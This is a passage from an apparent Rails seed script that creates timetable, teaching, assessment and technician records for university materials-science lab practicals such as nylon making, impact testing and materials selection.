2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a456.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a456.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a457 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"222\").first_or_create!(name: \"Nylon making\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 1)\n at457 = ActivityTimetable.where(activity_id: a457.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at457.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a457.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a457.id).first_or_create!(criteria: \"\",\n job_desc:\"This lab practical, which will run in two sessions, seeks to give you knowledge of the characteristics of polymers. The first session will show how polymers are formed and the second session will investigate their mechanical (tensile testing and hardness) and chemical properties.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a457.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a457.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a457.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a458 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"222\").first_or_create!(name: \"Nylon making\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 3)\n at458 = ActivityTimetable.where(activity_id: a458.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at458.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a458.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a458.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a458.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a458.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a458.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a459 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"223\").first_or_create!(name: \"Impact testing\",\n name_abrv: \"IMPACTTESTING\", archived: false, in_drive: false, user_id: 4)\n at459 = ActivityTimetable.where(activity_id: a459.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a459.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a459.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will compare the impact toughness for steels of two different composition and two different processing conditions, using impact testers.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a459.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a459.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a459.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a460 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE206\").first.id, code: \"224\").first_or_create!(name: \"Magnetic materials\",\n name_abrv: \"MAGMAT\", archived: false, in_drive: false, user_id: 4)\n at460 = ActivityTimetable.where(activity_id: a460.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a460.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a460.id).first_or_create!(criteria: \"Knowledge of magnetics materials and how to plot and produce a hysteresis loop for magnetic material\",\n job_desc:\"Understand how magnetic fields are generated,\n Learn how to measure field strength.\n Understand the structure of a hysteresis loop.\n Plot and produce a hysteresis loop for a magnetic material.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a460.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a460.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a460.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a461 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"224\").first_or_create!(name: \"Magnetic materials\",\n name_abrv: \"MAGMAT\", archived: false, in_drive: false, user_id: 3)\n at461 = ActivityTimetable.where(activity_id: a461.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a461.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a461.id).first_or_create!(criteria: \"Knowledge of magnetics materials and how to plot and produce a hysteresis loop for magnetic material\",\n job_desc:\"Understand how magnetic fields are generated,\n Learn how to measure field strength.\n Understand the structure of a hysteresis loop.\n Plot and produce a hysteresis loop for a magnetic material.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a461.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a461.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a461.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a462 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"225\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: false, in_drive: false, user_id: 5)\n at462 = ActivityTimetable.where(activity_id: a462.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a462.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a462.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a462.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a462.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a462.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a463 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"225\").first_or_create!(name: \"Materials characterisation\",\n name_abrv: \"MATCHARAC\", archived: false, in_drive: false, user_id: 2)\n at463 = ActivityTimetable.where(activity_id: a463.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a463.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a463.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a463.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a463.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a463.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a464 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"226\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: false, in_drive: false, user_id: 3)\n at464 = ActivityTimetable.where(activity_id: a464.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a464.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a464.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a464.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a464.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a464.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a465 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"226\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: false, in_drive: false, user_id: 2)\n at465 = ActivityTimetable.where(activity_id: a465.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a465.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a465.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a465.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a465.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a465.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a466 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"227\").first_or_create!(name: \"Materials selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 3)\n at466 = ActivityTimetable.where(activity_id: a466.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a466.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a466.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a466.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a466.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a466.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a467 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"227\").first_or_create!(name: \"Materials selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at467 = ActivityTimetable.where(activity_id: a467.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a467.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a467.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a467.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a467.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a467.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a468 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"227\").first_or_create!(name: \"Materials Selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at468 = ActivityTimetable.where(activity_id: a468.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a468.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a468.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a468.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a468.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a468.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a469 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"227\").first_or_create!(name: \"Materials Selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at469 = ActivityTimetable.where(activity_id: a469.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a469.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a469.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a469.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a469.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a469.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a470 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 1)\n at470 = ActivityTimetable.where(activity_id: a470.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a470.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a470.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a470.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a470.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a470.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a471 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 4)\n at471 = ActivityTimetable.where(activity_id: a471.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a471.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a471.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a471.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a471.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a471.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a472 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 3)\n at472 = ActivityTimetable.where(activity_id: a472.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a472.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a472.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a472.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a472.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a472.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a473 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 5)\n at473 = ActivityTimetable.where(activity_id: a473.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a473.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a473.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a473.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a473.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a473.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a474 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 2)\n at474 = ActivityTimetable.where(activity_id: a474.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a474.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a474.id).first_or_create!(criteria: \"Hands-on experience on Mechanical Testing Techniques (Tensile Testing, Charpy and Hardness).\",\n job_desc:\"To determine mechanical properties of copper and aluminium, measuring key parameters, performing calculations and generating important plots.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a474.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a474.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: 